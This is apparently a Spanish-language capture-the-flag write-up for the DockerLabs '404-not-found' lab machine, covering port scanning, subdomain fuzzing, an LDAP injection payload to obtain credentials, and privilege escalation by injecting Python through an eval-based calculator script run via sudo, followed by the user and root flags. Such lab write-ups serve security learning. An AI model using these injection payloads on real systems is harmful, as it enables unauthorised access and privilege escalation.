> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/dockerlabs/medio/404-not-found.md).

# 404-not-found

<figure><img src="/files/OkdmShbceidnvHaec4KZ" alt=""><figcaption></figcaption></figure>

***

## **Reconocimiento**

### Escaneo de puertos

```bash
sudo nmap -p- --open -sSCV --min-rate 5000 -vvv -Pn 10.88.0.2
```

```bash
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 59:4e:10:e2:31:bf:13:43:c9:69:9e:4f:3f:a2:95:a6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEWcEvXQdAmofmB0jGrbwFVMWkth7VyKp63CDjuZ2nm8d5XS9EJfQgkj+SRO02+fjCAiTsi95NDmHQiVk0y203g=
|   256 fb:dc:ca:6e:f5:d6:5a:41:25:2b:b2:21:f1:71:16:6c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBxYEkM/Tvj7atmcIuZeRZXqd4tax6Rk5rs5mlXsEzep
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to <http://404-not-found.hl/>
MAC Address: 5A:D8:DB:0A:72:CD (Unknown)
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Vemos que el puerto 80 no resuelve bien, por lo que lo ponemos en el fichero host para intentar que resuelva correctamente

```bash
sudo nano /etc/hosts
```

```bash
10.88.0.2  404-not-found.hl
```

Ahora nmap nos da un poco más de información

```bash
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.58
|_http-title: 404-Not-Found CTF
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 5A:D8:DB:0A:72:CD (Unknown)
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Web

```bash
<http://404-not-found.hl/index.html>
```

<div data-with-frame="true"><figure><img src="/files/woNanzqj2HC25K8LfFMe" alt=""><figcaption></figcaption></figure></div>

<div><figure><img src="/files/P13B8mj98CMXSy2vXiTu" alt=""><figcaption></figcaption></figure> <figure><img src="/files/uauk8rTTQhWT6NonlPwT" alt=""><figcaption></figcaption></figure></div>

```bash
echo "UXVlIGhhY2VzPywgbWlyYSBlbiBsYSBVUkwu" | base64 -d
Que haces?, mira en la URL.%       
```

Este mensaje nos da la pista para buscar en la URL

### Subdominios

```bash
ffuf -u <http://404-not-found.hl/> -H "Host: FUZZ.404-not-found.hl" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301
```

```bash
 :: Method           : GET
 :: URL              : <http://404-not-found.hl/>
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.404-not-found.hl
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

info                    [Status: 200, Size: 2023, Words: 674, Lines: 150, Duration: 197ms]
:: Progress: [4989/4989] :: Job [1/1] :: 51 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
```

```bash
sudo nano /etc/hosts
```

```bash
10.88.0.2  404-not-found.hl info.404-not-found.hl
```

<div><figure><img src="/files/tff9PC6QekqIltOua6vi" alt=""><figcaption></figcaption></figure> <figure><img src="/files/zT0TUpRDByHFJflgcKog" alt=""><figcaption></figcaption></figure></div>

## Explotación

Probamos a hacer un LDAP injection

```bash
user=*)(|(&
```

<div data-with-frame="true"><figure><img src="/files/r56Ihh4tW8iXeYc3uZan" alt=""><figcaption></figcaption></figure></div>

<div data-with-frame="true"><figure><img src="/files/nQSROuu843Tq2RMeQHCq" alt=""><figcaption></figcaption></figure></div>

Con las credenciales nos conectamos por ssh

## Escalado de privilegios

```bash
404-page@adb3ed3ed75f:~$ sudo -l
[sudo] password for 404-page:
Matching Defaults entries for 404-page on adb3ed3ed75f:
env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin,
use_pty
```

```bash
User 404-page may run the following commands on adb3ed3ed75f:
(200-ok : 200-ok) /home/404-page/calculator.py
```

```bash
sudo -u 200-ok ./calculator.py
```

```bash
calculator> id
<built-in function id>
calculator> 1+1
2
calculator>
```

El hecho de que al introducir `id` el script te devuelva `<built-in function id>` y que `1+1` devuelva `2` es una señal clarísima de la vulnerabilidad: el script `calculator.py` está utilizando la función `eval()` (o una similar) de Python directamente sobre lo que escribes.

### Cómo inyectar comandos de sistema

Dado que estás limitado a una sola línea de evaluación (un "one-liner" de Python), la forma más rápida de ejecutar comandos de sistema operativo es importar la librería `os` al vuelo y ejecutar la consola.

Prueba a introducir esto en el prompt de `calculator>`:

```bash
calculator> **import**('os').system('/bin/bash')
200-ok@adb3ed3ed75f:/home/404-page$ id
uid=1000(200-ok) gid=1000(200-ok) groups=1000(200-ok),100(users)
200-ok@adb3ed3ed75f:/home/404-page$
```

Con esto sacamos la `flag` de usuario

```bash
200-ok@adb3ed3ed75f:~$ cat boss.txt

What is rooteable

200-ok@adb3ed3ed75f:~$ cat user.txt
bef4bb318a17abd01158337811750bcf
```

Probamos `rooteable` como contraseña de `root`, sacando así la `flag` de `root`

```bash
200-ok@adb3ed3ed75f:~$ su root
Password:
root@adb3ed3ed75f:/home/200-ok# id
uid=0(root) gid=0(root) groups=0(root)
root@adb3ed3ed75f:/home/200-ok# cat /root/root.txt
2424b2a3292e20c6e1ade39ed3e77629
```